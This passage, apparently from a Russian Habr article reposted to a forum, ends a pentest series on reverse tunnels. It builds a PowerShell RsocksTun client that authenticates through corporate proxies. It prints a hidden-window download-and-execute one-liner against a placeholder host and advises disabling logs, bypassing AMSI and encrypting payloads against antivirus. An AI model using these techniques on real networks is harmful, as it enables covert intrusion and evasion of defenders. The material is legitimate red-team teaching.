Date: Tue, 28 May 2019 14:06:15 GMT
Content-Length: 0

Для удачной авторизации мы должны раскодировать данную строку, вынуть из нее параметры, (такие как ntlm-challenge, имя домена). Затем, используя эти данные, а так же имя пользователя и его ntlm-хеш, мы должны сформировать ntlm response, закодировать его обратно в base64 и отправить обратно прокси-серверу.

Код:
CONNECT mail.com:443  HTTP/1.1
Host: mail.com:443
Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA==
User-Agent: curl/7.64.1
Accept: */*
Proxy-Connection: Keep-Alive

Но это ещё полбеды. Дело в том, что при запуске скрипта мы не знаем ни имени текущего пользователя, ни его ntlm-хеш пароля. Таким образом для авторизации на прокси-сервере нам нужно еще откуда то узнать username/pass.

Теоретически, мы можем реализовать данный функционал в скрипте (начиная от установления параметров аутентификации вручную, как сделано в GoLang-клиенте и заканчивая использованием дампа памяти процесса LSASS, как сделано в mimikatz), но тогда наш скрипт разрастется до неимоверных размеров и сложности, тем более что данные темы выходят за рамки данной статьи.

Подумали и решили, что мы пойдем другим путем…

Вместо того, чтобы делать авторизацию вручную — мы воспользуемся встроенным функционалом работы с прокси-сервером класса HTTPWebRequest. Но в таком случае, нам придется изменить код нашего RsocksTun сервера — ведь он при получении запроса от клиента ожидает только строку с паролем, а ему придет полноценный HTTP-запрос. В принципе — модифицировать серверную часть rsoskstun не так уж и трудоемко. Необходимо лишь определиться, в какой части http-запроса мы будем передавать пароль (допустим, это будет http-хедер XAuth) и реализовать функционал обработки http-запроса, проверки нашего хедера с паролем и отсылки обратного http-ответа (200 OK). Данный функционал мы внесли в отдельную ветку проекта RSocksTun.

После модификации Golang части RSocksTun(сервера и клиента) мы приступим к добавлению функционала работы с прокси-сервером в наш скрипт. Простейший код для класса HttpWebRequest по подключению к web-серверу через прокси выглядит так:

Код:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443")
$request.Method = "GET"
$request.Headers.Add("Xauth","password")
$proxy = new-object system.net.webproxy('http://127.0.0.1:8080');
$proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$request.Proxy = $proxy
try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit}

В данном случае мы создаем экземпляр класса HttpWebRequest, устанавливаем свойства Proxy и Credentials, добавляем кастомный http-хедер XAuth. Соответственно, наш запрос к серверам Google пойдет через прокси-сервер 127.0.0.1:8080. Если же прокси попросит авторизацию, то винда сама «подхватит» креды текущего пользователя и вставит соответствующие http-заголовки.

Вместо указания прокси-сервера вручную, мы можем использовать системные настройки прокси-сервера:

Код:
$proxy = [System.Net.WebRequest]::GetSystemWebProxy()

Итак, после того как мы подключились через прокси-сервер к нашему rsockstun-серверу и получили http-ответ с кодом 200, нам необходимо сделать небольшую хитрость, а именно — из класса HTTPWebRequest достать stream-объект для чтения/записи наподобие $tcpConnection.getStream(). Делаем мы это через механизм .Net reflection Inspection (для желающих подробнее разобраться с этим механизмом — делимся ссылкой). Это позволяет нам обращаться к методам и свойствам низлежащих классов:

Код:
#---------------------------------------------------------------------------------
# Reflection inspection to retrieve and reuse the underlying networkStream instance
$responseStream = $serverResponse.GetResponseStream()
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
$rsType = $responseStream.GetType()
$connectionProperty = $rsType.GetProperty("Connection", $BindingFlags)
$connection = $connectionProperty.GetValue($responseStream, $null)
$connectionType = $connection.GetType()
$networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags)
$tcpStream = $networkStreamProperty.GetValue($connection, $null)

Таким образом мы получили тот самый socket-stream, который соединен прокси-сервером с нашим yamux-сервером и с которым мы можем производить операции чтения/записи.

Еще один момент, который нам необходимо учесть, это механизм контроля состояния соединения. Так как мы работаем через прокси-сервер и класс HTTPWebRequest, то у нас нет свойства $tcpConnection.Connected и нам необходимо каким-либо образом контролировать состояние подключения. Это мы можем сделать через отдельный флаг $connected, он выставляется в $true после получения кода 200 от прокси-сервера и сбрасывается в $false при возникновении исключения в процессе чтения из socket-stream:

Код:
try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;}
if ($num -eq 0 ) {$connected=$false; break;}

В остальном, наш код остается без изменений.

Запуск Inline

Как правило, все здравомыслящие люди запускают подобные скрипты из файлов PS1, но иногда (а на самом деле – практически всегда) в процессе пентеста/редтима требуется запускать модули из командной строки без записи чего-либо на диск, дабы не оставлять за собой никаких следов. Тем более, что powershell прекрасно позволяет это делать через командную строку:

Код:
powershell.exe –c <powershell code>
powershell.exe –e <base64 powershell code>

Однако не стоит совсем уж расслабляться относительно скрытности запуска и выполнения команд. Потому что, во-первых, весь выполняемый powershell код логируется стандартными средствами windows в соответствующих eventlog-журналах (Windows PowerShell и Microsoft-Windows-PowerShell/Operational), а во-вторых – весь код, исполняемый внутри powershell, проходит через механизм AMSI (Anti Malware Scan Interface). Другое дело, что оба этих механизма прекрасно обходятся незамысловатыми действиями. Отключение журналов и обход AMSI — это отдельная тема для разговора и про нее мы обязательно напишем в будущих статьях или в нашем канале. Но сейчас немного о другом.

Дело в том, что наш скрипт разросся до довольно внушительных размеров и ясно, что ни в одну командную строку он не влезет (ограничение cmd в Windows – 8191 знаков). Следовательно, нам необходимо придумать способ запуска нашего скрипта без его записи на диск. И здесь нам помогут стандартные методы, используемые вредоносным ПО вот уже на протяжение почти 15-ти лет. Если коротко, то правило простое — скачать и запустить. Главное не перепутать =)
Команда по скачиванию и запуску выглядит так:

Код:
powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))"

Еще больше вариантов inline-запуска Вы можете найти на гите HarmJ0y’я:

Конечно, перед скачиванием необходимо позаботиться об отключении логов и обходе или отключении AMSI. Сам же скрипт перед скачиванием нужно зашифровать, т.к. в процессе скачивания он естественно будет проверен вдоль и поперек Вашим (или не Вашим =) ) антивирусом, а перед запуском – соответственно расшифровать. Как это сделать – ты, читатель уже должен придумать сам. Это выходит за рамки обозначенной темы. Но мы знаем крутого специалиста в этом деле — всемогущий Гугл. Примеров по зашифровке и расшифровке в сети полно, так же, как и примеров по обходу AMSI.

Заключение ко всем частям

В процессе работы мы познакомили читателя с технологией «обратных туннелей» и их применением для выполнения пентестов, показали несколько примеров таковых туннелей и рассказали об плюсах и минусах их использования.

Так же нам удалось создать powershell-клиент к RsocksTun серверу с возможностью:

  • подключения по SSL;
  • авторизации на сервере;
  • работе с yamux-сервером с поддержкой keepalive пингов;
  • мультипоточного режима работы;
  • поддержки работы через прокси-сервер с авторизацией.

Весь код rsockstun (golang и powershell) вы можете найти в соответствующей ветке на нашем гитхабе. Ветка master предназначена для работы без прокси-сервера, а ветка via_proxy – для работы через прокси и HTTP.

Будем рады услышать Ваши комментарии и предложения по улучшению кода и применимости разработки на практике.

На этом цикл наших статей по обратному туннелированию заканчивается. Очень надеемся, что вам интересно нас читать и информация оказывается полезной.

Автор karelovao (с) Хабра
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх